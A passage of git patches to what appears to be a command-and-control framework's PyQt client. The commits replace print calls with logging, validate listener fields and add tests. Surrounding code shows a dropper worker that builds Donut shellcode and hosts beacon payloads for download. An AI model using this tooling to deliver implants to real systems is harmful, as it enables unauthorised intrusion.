"#b00020" in listeners.statusLabel.styleSheet() diff --git a/C2Client/tests/test_session_panel.py b/C2Client/tests/test_session_panel.py index 2d3cfa0..e9a25aa 100644 --- a/C2Client/tests/test_session_panel.py +++ b/C2Client/tests/test_session_panel.py @@ -44,7 +44,7 @@ def test_stop_session_ack_message_is_displayed(qtbot, monkeypatch): sessions.stopSession("beacon", "listener") - assert sessions.statusLabel.text() == "Session not found." + assert sessions.statusLabel.text() == "Stop session: Session not found." assert "#b00020" in sessions.statusLabel.styleSheet() diff --git a/C2Client/tests/test_ui_status.py b/C2Client/tests/test_ui_status.py new file mode 100644 index 0000000..17aa5da --- /dev/null +++ b/C2Client/tests/test_ui_status.py @@ -0,0 +1,29 @@ +from C2Client.ui_status import ( + StatusKind, + compact_message, + format_action_status, + format_last_error, + status_kind_for_ok, + status_stylesheet, +) + + +def test_compact_message_collapses_whitespace_and_truncates(): + message = compact_message(" ListSessions:\n deadline exceeded while connecting ", limit=32) + + assert message == "ListSessions: deadline exceed..." + + +def test_status_stylesheet_uses_shared_error_color(): + assert status_kind_for_ok(True) == StatusKind.SUCCESS + assert status_kind_for_ok(False) == StatusKind.ERROR + assert status_stylesheet(StatusKind.ERROR) == "color: #b00020;" + + +def test_format_last_error_keeps_operation_context(): + assert format_last_error("StopSession", "Session not found.") == "StopSession: Session not found." + + +def test_format_action_status_adds_action_context_once(): + assert format_action_status("Stop session", "Session not found.") == "Stop session: Session not found." + assert format_action_status("Stop session", "Stop session failed.") == "Stop session failed." From 843b9a5224e8881895d9ff6b0269a5b845c48ad7 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 16:41:29 +0200 Subject: [PATCH 07/82] log clean --- C2Client/.env.example | 1 + C2Client/C2Client/ConsolePanel.py | 11 +- C2Client/C2Client/GUI.py | 13 +- C2Client/C2Client/GraphPanel.py | 49 +++--- C2Client/C2Client/ListenerPanel.py | 7 +- C2Client/C2Client/ScriptPanel.py | 151 ++++++++++-------- C2Client/C2Client/SessionPanel.py | 12 +- .../TerminalModules/Batcave/batcave.py | 8 +- C2Client/C2Client/TerminalPanel.py | 68 +++++--- C2Client/TODO.md | 3 +- C2Client/tests/test_graph_panel.py | 4 +- C2Client/tests/test_script_panel.py | 29 ++++ .../tests/test_terminal_panel_dropper_arch.py | 5 +- 13 files changed, 235 insertions(+), 126 deletions(-) create mode 100644 C2Client/tests/test_script_panel.py diff --git a/C2Client/.env.example b/C2Client/.env.example index 1c75558..844910c 100644 --- a/C2Client/.env.example +++ b/C2Client/.env.example @@ -19,6 +19,7 @@ C2_SESSION_REFRESH_MS=2000 C2_LISTENER_REFRESH_MS=2000 C2_GRAPH_REFRESH_MS=2000 C2_LOG_DIR= +C2_LOG_LEVEL=WARNING # gRPC C2_GRPC_CONNECT_TIMEOUT_MS=10000 diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 4034a63..94a0b64 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -3,6 +3,7 @@ import time import re, html import uuid +import logging from datetime import datetime from threading import Thread, Lock @@ -28,6 +29,8 @@ from .env import env_path from .grpc_status import is_response_ok, response_message +logger = logging.getLogger(__name__) + # # Log @@ -454,9 +457,13 @@ def __init__(self, parent, grpcClient): @pyqtSlot() def on_click(self): - print("\n") for currentQTableWidgetItem in self.tableWidget.selectedItems(): - print(currentQTableWidgetItem.row(), currentQTableWidgetItem.column(), currentQTableWidgetItem.text()) + logger.debug( + "Selected console table cell row=%s column=%s text=%s", + currentQTableWidgetItem.row(), + currentQTableWidgetItem.column(), + currentQTableWidgetItem.text(), + ) def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=False diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index f59fa0d..33e863d 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -42,9 +42,16 @@ import qdarktheme -logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s') -for noisy_logger in ("openai", "httpx", "httpcore"): - logging.getLogger(noisy_logger).setLevel(logging.WARNING) +def configureLogging() -> None: + level_name = env_value("C2_LOG_LEVEL", "WARNING").strip().upper() + level = getattr(logging, level_name, logging.WARNING) + logging.basicConfig(level=level, format='%(asctime)s - %(levelname)s - %(message)s') + logging.getLogger().setLevel(level) + for noisy_logger in ("openai", "httpx", "httpcore"): + logging.getLogger(noisy_logger).setLevel(logging.WARNING) + + +configureLogging() signal.signal(signal.SIGINT, signal.SIG_DFL) diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index 4029e67..4add386 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -1,6 +1,7 @@ import sys import os import time +import logging from PyQt6.QtCore import QObject, QPointF, Qt, QThread, QLineF, pyqtSignal from PyQt6.QtGui import QColor, QFont, QPainter, QPen, QPixmap @@ -16,6 +17,8 @@ from .env import env_int +logger = logging.getLogger(__name__) + # # Constant @@ -80,7 +83,6 @@ def __init__(self, type, hash, os="", privilege="", hostname="", parent=None): self.listenerHash.append(hash) elif type == BeaconNodeItemType: self.type = BeaconNodeItemType - # print("NodeItem beaconHash", hash, "os", os, "privilege", privilege) if "linux" in os.lower(): if privilege == "root": pixmap = self.addImageNode(LinuxRootSessionImage, hostname) @@ -100,8 +102,14 @@ def __init__(self, type, hash, os="", privilege="", hostname="", parent=None): super().__init__(pixmap) - def print(self): - print("NodeItem", self.type, "beaconHash", self.beaconHash, "listenerHash", self.listenerHash, "connectedListenerHash", self.connectedListenerHash) + def logDebug(self): + logger.debug( + "NodeItem %s beaconHash=%s listenerHash=%s connectedListenerHash=%s", + self.type, + self.beaconHash, + self.listenerHash, + self.connectedListenerHash, + ) def isResponsableForListener(self, hash): if hash in self.listenerHash: @@ -167,12 +175,15 @@ def __init__(self, listener, beacon, pen=None): self.setPen(self.pen) self.update_line() - def print(self): - print("Connector", "beaconHash", self.beacon.beaconHash, "connectedListenerHash", self.beacon.connectedListenerHash, "listenerHash", self.listener.listenerHash) + def logDebug(self): + logger.debug( + "Connector beaconHash=%s connectedListenerHash=%s listenerHash=%s", + self.beacon.beaconHash, + self.beacon.connectedListenerHash, + self.listener.listenerHash, + ) def update_line(self): - # print("listener", self.listener.pos()) - # print("beacon", self.beacon.pos()) center1 = self.listener.pos() + self.listener.boundingRect().center() center2 = self.beacon.pos() + self.beacon.boundingRect().center() self.setLine(QLineF(center1, center2)) @@ -276,10 +287,10 @@ def updateGraph(self): if not runing and self.listNodeItem[ix].type == BeaconNodeItemType: for ix2, connector in enumerate(self.listConnector): if connector.beacon.beaconHash == nodeItem.beaconHash: - print("[-] delete connector") + logger.debug("Delete graph connector for beacon %s", nodeItem.beaconHash) self.scene.removeItem(self.listConnector[ix2]) del self.listConnector[ix2] - print("[-] delete beacon", nodeItem.beaconHash) + logger.debug("Delete graph beacon %s", nodeItem.beaconHash) self.scene.removeItem(self.listNodeItem[ix]) del self.listNodeItem[ix] @@ -295,7 +306,7 @@ def updateGraph(self): item.signaller.signal.connect(self.updateConnectors) self.scene.addItem(item) self.listNodeItem.append(item) - print("[+] add beacon", session.beacon_hash) + logger.debug("Add graph beacon %s", session.beacon_hash) # # Update listener @@ -316,10 +327,10 @@ def updateGraph(self): if self.listNodeItem[ix].type == ListenerNodeItemType: for ix2, connector in enumerate(self.listConnector): if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: - print("[-] delete connector") + logger.debug("Delete graph connector for listener %s", nodeItem.listenerHash) self.scene.removeItem(self.listConnector[ix2]) del self.listConnector[ix2] - print("[-] delete primary listener", nodeItem.listenerHash) + logger.debug("Delete graph primary listener %s", nodeItem.listenerHash) self.scene.removeItem(self.listNodeItem[ix]) del self.listNodeItem[ix] @@ -328,10 +339,10 @@ def updateGraph(self): if listener.listener_hash in self.listNodeItem[ix].listenerHash: for ix2, connector in enumerate(self.listConnector): if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: - print("[-] delete connector") + logger.debug("Delete graph connector for secondary listener %s", listener.listener_hash) self.scene.removeItem(self.listConnector[ix2]) del self.listConnector[ix2] - print("[-] delete secondary listener", nodeItem.listenerHash) + logger.debug("Delete graph secondary listener %s", nodeItem.listenerHash) self.listNodeItem[ix].listenerHash.remove(listener.listener_hash) # add listener @@ -346,12 +357,12 @@ def updateGraph(self): item.signaller.signal.connect(self.updateConnectors) self.scene.addItem(item) self.listNodeItem.append(item) - print("[+] add primary listener", listener.listener_hash) + logger.debug("Add graph primary listener %s", listener.listener_hash) else: for nodeItem2 in self.listNodeItem: if nodeItem2.beaconHash == listener.beacon_hash: nodeItem2.listenerHash.append(listener.listener_hash) - print("[+] add secondary listener", listener.listener_hash) + logger.debug("Add graph secondary listener %s", listener.listener_hash) # # Update connectors @@ -371,7 +382,7 @@ def updateGraph(self): self.scene.addItem(connector) connector.setZValue(-1) self.listConnector.append(connector) - print("[+] add connector listener:", listenerHash, "beacon", beaconHash) + logger.debug("Add graph connector listener=%s beacon=%s", listenerHash, beaconHash) for item in self.listNodeItem: item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsMovable) @@ -396,8 +407,8 @@ def run(self): if self.receivers(self.checkin) > 0: self.checkin.emit() time.sleep(self.refreshIntervalSeconds) - except Exception as e: - pass + except Exception: + logger.exception("Graph refresh worker stopped unexpectedly") def quit(self): self.exit=True diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index 940c75c..dc888b4 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -1,4 +1,5 @@ import time +import logging from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject from PyQt6.QtWidgets import ( @@ -24,6 +25,8 @@ from .grpc_status import is_response_ok, operation_ack_text from .ui_status import apply_status, format_action_status, status_kind_for_ok +logger = logging.getLogger(__name__) + # # Constant @@ -423,8 +426,8 @@ def run(self): if self.receivers(self.checkin) > 0: self.checkin.emit() time.sleep(self.refreshIntervalSeconds) - except Exception as e: - pass + except Exception: + logger.exception("Listener refresh worker stopped unexpectedly") def quit(self): self.exit=True diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index 9c69b50..528ab64 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -17,6 +17,8 @@ QWidget, ) +logger = logging.getLogger(__name__) + # # scripts @@ -47,16 +49,22 @@ # Load all scripts as modules # ---------------------------- LoadedScripts = [] +FailedScripts = [] for entry in scripts_path.iterdir(): if entry.suffix == ".py" and entry.name != "__init__.py": modname = f"{package_name}.{entry.stem}" try: m = importlib.import_module(modname) LoadedScripts.append(m) - print(f"Successfully imported {modname}") - except Exception as e: - print(f"Failed to import {modname}: {e}") - traceback.print_exc() + logger.debug("Imported script module %s", modname) + except Exception as exc: + FailedScripts.append(f"{modname}: {exc}") + logger.warning( + "Failed to import script module %s: %s", + modname, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) # @@ -89,6 +97,8 @@ def __init__(self, parent, grpcClient): for script in LoadedScripts: output += script.__name__ + "\n" self.printInTerminal("Loaded Scripts:", output) + if FailedScripts: + self.printInTerminal("Script load errors:", "\n".join(FailedScripts)) def nextCompletion(self): @@ -100,79 +110,90 @@ def nextCompletion(self): def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): + hooks = { + "start": "OnSessionStart", + "stop": "OnSessionStop", + "update": "OnSessionUpdate", + } + hookName = hooks.get(action) + if not hookName: + return + for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "start": - methode = getattr(script, "OnSessionStart") - output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) - if output: - self.printInTerminal("OnSessionStart", output) - elif action == "stop": - methode = getattr(script, "OnSessionStop") - output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) - if output: - self.printInTerminal("OnSessionStop", output) - elif action == "update": - methode = getattr(script, "OnSessionUpdate") - output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) - if output: - self.printInTerminal("OnSessionUpdate", output) - except: - continue + self.runScriptHook( + script, + hookName, + hookName, + beaconHash, + listenerHash, + hostname, + username, + arch, + privilege, + os, + lastProofOfLife, + killed, + ) def listenerScriptMethod(self, action, hash, str3, str4): + hooks = { + "start": "OnListenerStart", + "stop": "OnListenerStop", + } + hookName = hooks.get(action) + if not hookName: + return + for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "start": - methode = getattr(script, "OnListenerStart") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnListenerStart", output) - elif action == "stop": - methode = getattr(script, "OnListenerStop") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnListenerStop", output) - except: - continue + self.runScriptHook(script, hookName, hookName) def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, result, commandId=""): + hooks = { + "receive": "OnConsoleReceive", + "send": "OnConsoleSend", + } + hookName = hooks.get(action) + if not hookName: + return + for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "receive": - methode = getattr(script, "OnConsoleReceive") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnConsoleReceive", output) - elif action == "send": - methode = getattr(script, "OnConsoleSend") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnConsoleSend", output) - except: - continue + self.runScriptHook(script, hookName, hookName) def mainScriptMethod(self, action, str2, str3, str4): + hooks = { + "start": "OnStart", + "stop": "OnStop", + } + hookName = hooks.get(action) + if not hookName: + return + for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "start": - methode = getattr(script, "OnStart") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnStart", output) - elif action == "stop": - methode = getattr(script, "OnStop") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnStop", output) - except: - continue + self.runScriptHook(script, hookName, hookName) + + def runScriptHook(self, script, hookName, displayName, *args): + scriptName = getattr(script, "__name__", script.__class__.__name__) + hook = getattr(script, hookName, None) + if hook is None: + return + + try: + output = hook(self.grpcClient, *args) + except Exception as exc: + logger.warning( + "Script hook %s.%s failed: %s", + scriptName, + hookName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) + self.printInTerminal("Script error:", f"{scriptName}.{hookName}: {exc}") + return + + if output: + self.printInTerminal(displayName, output) def event(self, event): diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index 6c2bffd..f0e6da4 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -1,4 +1,5 @@ import time +import logging from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject from PyQt6.QtWidgets import ( @@ -20,7 +21,9 @@ from .env import env_int from .grpc_status import is_response_ok, operation_ack_text from .ui_status import apply_status, format_action_status, status_kind_for_ok - + +logger = logging.getLogger(__name__) + # # Session @@ -300,9 +303,6 @@ def listSessions(self): # add if not inStore: self.sessionScriptSignal.emit("start", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) - - # print(session) - self.listSessionObject.append( Session( self.idSession, @@ -388,8 +388,8 @@ def run(self): if self.receivers(self.checkin) > 0: self.checkin.emit() time.sleep(self.refreshIntervalSeconds) - except Exception as e: - pass + except Exception: + logger.exception("Session refresh worker stopped unexpectedly") def quit(self): self.exit=True diff --git a/C2Client/C2Client/TerminalModules/Batcave/batcave.py b/C2Client/C2Client/TerminalModules/Batcave/batcave.py index 41ba5fd..f851164 100644 --- a/C2Client/C2Client/TerminalModules/Batcave/batcave.py +++ b/C2Client/C2Client/TerminalModules/Batcave/batcave.py @@ -1,9 +1,12 @@ from pathlib import Path +import logging import requests import json import zipfile import os +logger = logging.getLogger(__name__) + BatcaveUrl = "https://github.com/exploration-batcave/batcave" BatcaveCache = os.path.join(Path(__file__).parent, 'cache') @@ -28,7 +31,7 @@ def fetchBatcaveJson(): if json_response.status_code == 200: json_data = json_response.json() return json_data - print("Failed to Fetch Json") + logger.warning("Failed to fetch Batcave JSON") return {} @@ -96,8 +99,7 @@ def unzipFile(zipfilepath: str): extractedFiles = zip_ref.namelist() if len(extractedFiles) != 1: - print("Weird, we should have 1 file per zip but got this " + str(extractedFiles)) - print("Will take the first and continue with the life, but check the logs") + logger.warning("Expected one file per Batcave zip, got %s", extractedFiles) return os.path.join(extractDir, extractedFiles[0]) diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index 9d1d9e0..e847ae0 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -24,6 +24,8 @@ from git import Repo +logger = logging.getLogger(__name__) + # # Dropper modules @@ -61,13 +63,18 @@ repoPath = os.path.join(dropperModulesDir, repoName) if not os.path.exists(repoPath): - print(f"Cloning {repoName} in {repoPath}.") + logger.info("Cloning %s in %s.", repoName, repoPath) try: Repo.clone_from(repo, repoPath) - except Exception as e: - print(f"Failed to clone {repoName}: {e}") + except Exception as exc: + logger.warning( + "Failed to clone %s: %s", + repoName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) else: - print(f"Repository {repoName} already exists in {dropperModulesDir}.") + logger.debug("Repository %s already exists in %s.", repoName, dropperModulesDir) for moduleName in os.listdir(dropperModulesDir): modulePath = os.path.join(dropperModulesDir, moduleName) @@ -79,9 +86,14 @@ # Dynamically import the module importedModule = __import__(moduleName) DropperModules.append(importedModule) - print(f"Successfully imported {moduleName}") - except ImportError as e: - print(f"Failed to import {moduleName}: {e}") + logger.debug("Imported dropper module %s", moduleName) + except ImportError as exc: + logger.warning( + "Failed to import dropper module %s: %s", + moduleName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) # # ShellCode modules @@ -122,13 +134,18 @@ repoPath = os.path.join(shellCodeModulesDir, repoName) if not os.path.exists(repoPath): - print(f"Cloning {repoName} in {repoPath}.") + logger.info("Cloning %s in %s.", repoName, repoPath) try: Repo.clone_from(repo, repoPath) - except Exception as e: - print(f"Failed to clone {repoName}: {e}") + except Exception as exc: + logger.warning( + "Failed to clone %s: %s", + repoName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) else: - print(f"Repository {repoName} already exists in {shellCodeModulesDir}.") + logger.debug("Repository %s already exists in %s.", repoName, shellCodeModulesDir) for moduleName in os.listdir(shellCodeModulesDir): modulePath = os.path.join(shellCodeModulesDir, moduleName) @@ -140,9 +157,14 @@ # Dynamically import the module importedModule = __import__(moduleName) ShellCodeModules.append(importedModule) - print(f"Successfully imported {moduleName}") - except ImportError as e: - print(f"Failed to import {moduleName}: {e}") + logger.debug("Imported shellcode module %s", moduleName) + except ImportError as exc: + logger.warning( + "Failed to import shellcode module %s: %s", + moduleName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) # @@ -995,7 +1017,7 @@ def run(self): termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer) resultTermCommand = self.grpcClient.executeTerminalCommand(termCommand) - logging.debug("DropperWorker GenerateAndHostGeneric start") + logger.debug("DropperWorker GenerateAndHostGeneric start") result = terminal_response_text(resultTermCommand) if isTerminalResponseError(resultTermCommand): @@ -1042,12 +1064,12 @@ def run(self): targetOs = "windows" for module in DropperModules: if self.moduleName == module.__name__.lower(): - logging.debug("DropperWorker GenerateAndHostGeneric check OS for module: %s", self.moduleName) + logger.debug("DropperWorker GenerateAndHostGeneric check OS for module: %s", self.moduleName) try: getTargetOs = getattr(module, "getTargetOsExploration") - print(getTargetOs) + logger.debug("Dropper module %s target OS hook: %s", self.moduleName, getTargetOs) targetOs = getTargetOs().lower() - print(targetOs) + logger.debug("Dropper module %s target OS: %s", self.moduleName, targetOs) except AttributeError: targetOs = "windows" @@ -1072,7 +1094,7 @@ def run(self): urlDownload = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath - logging.debug("DropperWorker GenerateAndHostGeneric urlDownload: %s", urlDownload) + logger.debug("DropperWorker GenerateAndHostGeneric urlDownload: %s", urlDownload) # Generate the payload droppersPath = [] @@ -1080,7 +1102,7 @@ def run(self): cmdToRun = "" for module in DropperModules: if self.moduleName == module.__name__.lower(): - logging.debug("GenerateAndHostGeneric DropperModule: %s", self.moduleName) + logger.debug("GenerateAndHostGeneric DropperModule: %s", self.moduleName) shellcodeGenerator = self.shellcodeGenerator shellcodeGeneratorLower = shellcodeGenerator.lower() @@ -1088,7 +1110,7 @@ def run(self): # Check shellcode generator if shellcodeGeneratorLower == ShellcodeGeneratorDonut.lower(): - print(DonutShellcodeGeneratorMessage) + logger.debug(DonutShellcodeGeneratorMessage) donutError = createDonutShellcode(beaconFilePath, beaconArg, self.targetArch) if donutError: self.finished.emit(self.commandLine, "Error: " + donutError) @@ -1099,10 +1121,10 @@ def run(self): else: for ShellCodeModule in ShellCodeModules: - logging.debug("ShellCodeModule: %s", ShellCodeModule) + logger.debug("ShellCodeModule: %s", ShellCodeModule) if shellcodeGeneratorLower == ShellCodeModule.__name__.lower(): - logging.debug("GenerateAndHostGeneric ShellCodeModule: %s", ShellCodeModule.__name__) + logger.debug("GenerateAndHostGeneric ShellCodeModule: %s", ShellCodeModule.__name__) genShellcode = getattr(ShellCodeModule, "buildLoaderShellcode") genShellcode(beaconFilePath, "", beaconArg, 3) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 0e45cd3..9c23a92 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -13,7 +13,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 5 | Rendre les actions principales visibles | S | Fort | Fait. Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; le clic droit reste disponible comme raccourci. | | 6 | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | | 7 | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC et statuts panels harmonises. | -| 8 | Nettoyer le bruit console/debug | S | Moyen | Remplacer les `print()` UI par logging, supprimer debug accidentels, rendre les erreurs scripts visibles sans casser l'UI. | +| 8 | Nettoyer le bruit console/debug | S | Moyen | Fait. Logging par defaut en WARNING, `print()` UI remplaces, erreurs de scripts visibles dans l'onglet Script sans casser l'UI. | | 9 | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | | 10 | Humaniser l'etat des sessions | M | Fort | Badges `alive`, `stale`, `killed`, last seen relatif, couleur discrete par privilege/OS, detection session inactive. | | 11 | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | @@ -62,6 +62,7 @@ C2_SESSION_REFRESH_MS=2000 C2_LISTENER_REFRESH_MS=2000 C2_GRAPH_REFRESH_MS=2000 C2_LOG_DIR= +C2_LOG_LEVEL=WARNING # gRPC C2_GRPC_CONNECT_TIMEOUT_MS=10000 diff --git a/C2Client/tests/test_graph_panel.py b/C2Client/tests/test_graph_panel.py index c79ad74..f8175ce 100644 --- a/C2Client/tests/test_graph_panel.py +++ b/C2Client/tests/test_graph_panel.py @@ -32,17 +32,19 @@ def listListeners(self): ] -def test_graph_auto_layout_separates_new_nodes(qtbot, monkeypatch): +def test_graph_auto_layout_separates_new_nodes(qtbot, monkeypatch, capsys): monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) graph = Graph(QWidget(), StubGrpc()) qtbot.addWidget(graph) graph.updateGraph() + captured = capsys.readouterr() listeners = [node for node in graph.listNodeItem if node.type == ListenerNodeItemType] beacons = [node for node in graph.listNodeItem if node.type == BeaconNodeItemType] + assert captured.out == "" assert len(listeners) == 2 assert len(beacons) == 2 assert len({(node.pos().x(), node.pos().y()) for node in graph.listNodeItem}) == 4 diff --git a/C2Client/tests/test_script_panel.py b/C2Client/tests/test_script_panel.py new file mode 100644 index 0000000..2408e91 --- /dev/null +++ b/C2Client/tests/test_script_panel.py @@ -0,0 +1,29 @@ +from PyQt6.QtWidgets import QWidget + +from C2Client.ScriptPanel import Script + + +class RaisingScript: + __name__ = "RaisingScript" + + @staticmethod + def OnStart(grpc_client): + raise RuntimeError("boom") + + +def test_script_hook_error_is_visible_without_stdout(qtbot, monkeypatch, capsys): + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [RaisingScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + parent = QWidget() + script_panel = Script(parent, object()) + qtbot.addWidget(script_panel) + + capsys.readouterr() + script_panel.mainScriptMethod("start", "", "", "") + captured = capsys.readouterr() + + output = script_panel.editorOutput.toPlainText() + assert captured.out == "" + assert "Script error:" in output + assert "RaisingScript.OnStart: boom" in output diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 39dd503..893adba 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -63,7 +63,7 @@ def test_dropper_arch_help_and_file_names_are_arch_specific(): assert terminal_panel.makeBeaconFilePath("linux", "x64") == "./Beacon-linux" -def test_dropper_worker_requests_selected_windows_arch(tmp_path, monkeypatch, qtbot): +def test_dropper_worker_requests_selected_windows_arch(tmp_path, monkeypatch, qtbot, capsys): monkeypatch.chdir(tmp_path) monkeypatch.setattr(terminal_panel, "DropperModules", [FakeDropperModule]) donut_calls = [] @@ -89,8 +89,11 @@ def fake_create_donut_shellcode(beacon_file_path, beacon_arg, target_arch, outpu results = [] worker.finished.connect(lambda command, result: results.append((command, result))) + capsys.readouterr() worker.run() + captured = capsys.readouterr() + assert captured.out == "" assert "getBeaconBinary beacon windows arm64" in grpc.commands assert donut_calls[0][0] == "./Beacon-arm64.exe" assert donut_calls[0][2] == "arm64" From 093cd0922069c778a75cf70b869bf7a78c805554 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 16:48:45 +0200 Subject: [PATCH 08/82] Minor --- C2Client/C2Client/ListenerPanel.py | 159 ++++++++++++++++-- C2Client/C2Client/TerminalPanel.py | 5 + C2Client/TODO.md | 2 +- C2Client/tests/test_listener_panel.py | 75 ++++++++- .../tests/test_terminal_panel_dropper_arch.py | 10 ++ 5 files changed, 233 insertions(+), 18 deletions(-) diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index dc888b4..e81d245 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -1,5 +1,7 @@ import time import logging +import re +from ipaddress import ip_address from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject from PyQt6.QtWidgets import ( @@ -23,7 +25,7 @@ from .grpcClient import TeamServerApi_pb2 from .env import env_int from .grpc_status import is_response_ok, operation_ack_text -from .ui_status import apply_status, format_action_status, status_kind_for_ok +from .ui_status import apply_error, apply_status, clear_status, format_action_status, status_kind_for_ok logger = logging.getLogger(__name__) @@ -48,6 +50,71 @@ DnsType = "dns" SmbType = "smb" +DOMAIN_LABEL_PATTERN = re.compile(r"^[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?$") +GITHUB_PROJECT_PART_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]*$") + + +def _text(value): + return str(value or "").strip() + + +def _validate_port(port): + portText = _text(port) + if not portText.isdigit(): + return False, "Port must be a number between 1 and 65535." + + parsedPort = int(portText) + if parsedPort < 1 or parsedPort > 65535: + return False, "Port must be a number between 1 and 65535." + return True, "" + + +def _is_valid_domain(domain): + domainText = _text(domain).rstrip(".") + if not domainText or len(domainText) > 253: + return False + if "://" in domainText or "/" in domainText or ":" in domainText: + return False + return all(DOMAIN_LABEL_PATTERN.match(label) for label in domainText.split(".")) + + +def _is_valid_github_project(project): + projectParts = _text(project).split("/") + if len(projectParts) > 2: + return False + return all(GITHUB_PROJECT_PART_PATTERN.match(part) for part in projectParts) + + +def validate_listener_fields(listenerType, param1, param2): + listenerType = _text(listenerType).lower() + param1 = _text(param1) + param2 = _text(param2) + + if listenerType in {HttpType, HttpsType, TcpType}: + if not param1: + return False, "IP is required." + try: + ip_address(param1) + except ValueError: + return False, "IP must be a valid IPv4 or IPv6 address." + return _validate_port(param2) + + if listenerType == DnsType: + if not _is_valid_domain(param1): + return False, "Domain must be a valid DNS name." + return _validate_port(param2) + + if listenerType == GithubType: + if not param1: + return False, "GitHub project is required." + if not _is_valid_github_project(param1): + return False, "GitHub project must use a simple name or owner/repo." + if not param2: + return False, "GitHub token is required." + return True, "" + + return False, "Unknown listener type." + # # Listener tab implementation @@ -248,21 +315,29 @@ def listenerForm(self): # send message for adding a listener def addListener(self, message): - if message[0]=="github": + listenerType = _text(message[0]) if len(message) > 0 else "" + param1 = _text(message[1]) if len(message) > 1 else "" + param2 = _text(message[2]) if len(message) > 2 else "" + valid, error = validate_listener_fields(listenerType, param1, param2) + if not valid: + self.setInlineStatus(format_action_status("Add listener", error), False) + return + + if listenerType=="github": listener = TeamServerApi_pb2.Listener( - type=message[0], - project=message[1], - token=message[2]) - elif message[0]=="dns": + type=listenerType, + project=param1, + token=param2) + elif listenerType=="dns": listener = 